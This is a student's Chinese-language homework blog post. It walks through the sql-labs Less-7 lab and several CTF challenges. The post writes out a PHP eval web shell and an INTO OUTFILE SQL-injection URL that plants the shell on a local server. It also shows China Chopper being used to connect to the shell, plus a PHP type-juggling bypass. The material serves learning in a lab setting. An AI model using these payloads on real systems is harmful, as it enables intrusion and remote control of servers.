我的网安作业2/14

一、sql-labs

Less7

1.前期准备
在PHPstudy下的PHPTutorial/mysql/my.ini文件里面添加一句。(为了后期支持文件的读写)
在这里插入图片描述

2.一句话木马
在phpStudy\PHPTutorial\WWW的文件夹下新建一句话木马文本。
在这里插入图片描述
根据后面出现的bug,正确的语句应该是:

<?php @eval($_POST["a"]);?>

启动中国菜刀:
在这里插入图片描述

连接木马:
在这里插入图片描述

两个基本函数:load_file()读取本地文件;into outfile 写文件。
3.判断是否存在SQL注入

http://127.0.0.1/sqli/Less-7/?id=1

在这里插入图片描述

http://127.0.0.1/sqli/Less-7/?id=1'

在这里插入图片描述

存在SQL注入。
4.构造正确的SQL语句,判断列数

http://127.0.0.1/sqli/Less-7/?id=1')) order by 3--+
http://127.0.0.1/sqli/Less-7/?id=1')) order by 4--+

5.写入一句话木马
发现根本不能写入,后来发现应该把secure_file_priv 值设为空,表示不限制mysqld在任意目录的导入导出。
在my.ini文件中修改secure_file_priv 值
在这里插入图片描述

然后重启PHPstudy,重启MySQL服务,进行查看。
在这里插入图片描述

http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2, '<?php @eval($_POST["a"]);?>' into outfile "F:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php"--+

查看:
在这里插入图片描述在这里插入图片描述

6.连接中国菜刀
访问木马:

http://127.0.0.1/sqli/Less-7/test.php

用中国菜刀连接:
在这里插入图片描述

二、CTF

1.Web

在这里插入图片描述

评论区大神的评论:
php==符号不能判断类型,在数字与字符串比较时会将字符串转化为数字进行比较,又因为网页会自动给字符串带上引号,因此构造参数?num=1",或者?num=1.可以得到绕过得到flag
在这里插入图片描述

因此构造PHP语言。

http://114.67.246.176:17503/?num=1a

在这里插入图片描述在这里插入图片描述

2.Web

在这里插入图片描述在这里插入图片描述

可以f12,调试器,index源码
在这里插入图片描述

也可以用burpsuit进行抓包看源码信息。
在这里插入图片描述

将最后面的HTML源码:

 <!-- &#102;&#108;&#97;&#103;&#123;&#52;&#99;&#51;&#57;&#48;&#101;&#56;&#56;&#101;&#54;&#53;&#98;&#56;&#100;&#57;&#97;&#53;&#54;&#100;&#101;&#102;&#53;&#56;&#98;&#102;&#97;&#99;&#49;&#50;&#55;&#56;&#53;&#125

进行解码得到flag。
在这里插入图片描述在这里插入图片描述

3.MISC

在这里插入图片描述

下载压缩包并用HXD打开查找是否有相关信息:
在这里插入图片描述

得到flag:flag{d316759c281bf925d600be698a4973d5}

4.Crypto

在这里插入图片描述

Brainfuck和ook加密,用https://ctf.bugku.com/tool/brainfuck进行解密。
在这里插入图片描述

得到flag。

补充:相关知识见https://www.dazhuanlan.com/2020/03/08/5e64faca66d65/
总结:由于是在春节期间做的,过程有点粗糙,并且sql-labs的学习也没有达到目标。而且在做题的过程中我发现我有些网络安全的相关知识太欠缺了,比如PHP语言,各种加密算法;刚开时学习的时候就想学习PHP语言,结果这都是我学习的第三周了,还没有开始,我的拖延症呀,开学之前一定开始学习PHP语言。冲呀。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
SQLAlchemy 是一个 SQL 工具包和对象关系映射(ORM)库,用于 Python 编程语言。它提供了一个高级的 SQL 工具和对象关系映射工具,允许开发者以 Python 类和对象的形式操作数据库,而无需编写大量的 SQL 语句。SQLAlchemy 建立在 DBAPI 之上,支持多种数据库后端,如 SQLite, MySQL, PostgreSQL 等。 SQLAlchemy 的核心功能: 对象关系映射(ORM): SQLAlchemy 允许开发者使用 Python 类来表示数据库表,使用类的实例表示表中的行。 开发者可以定义类之间的关系(如一对多、多对多),SQLAlchemy 会自动处理这些关系在数据库中的映射。 通过 ORM,开发者可以像操作 Python 对象一样操作数据库,这大大简化了数据库操作的复杂性。 表达式语言: SQLAlchemy 提供了一个丰富的 SQL 表达式语言,允许开发者以 Python 表达式的方式编写复杂的 SQL 查询。 表达式语言提供了对 SQL 语句的灵活控制,同时保持了代码的可读性和可维护性。 数据库引擎和连接池: SQLAlchemy 支持多种数据库后端,并且为每种后端提供了对应的数据库引擎。 它还提供了连接池管理功能,以优化数据库连接的创建、使用和释放。 会话管理: SQLAlchemy 使用会话(Session)来管理对象的持久化状态。 会话提供了一个工作单元(unit of work)和身份映射(identity map)的概念,使得对象的状态管理和查询更加高效。 事件系统: SQLAlchemy 提供了一个事件系统,允许开发者在 ORM 的各个生命周期阶段插入自定义的钩子函数。 这使得开发者可以在对象加载、修改、删除等操作时执行额外的逻辑。
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值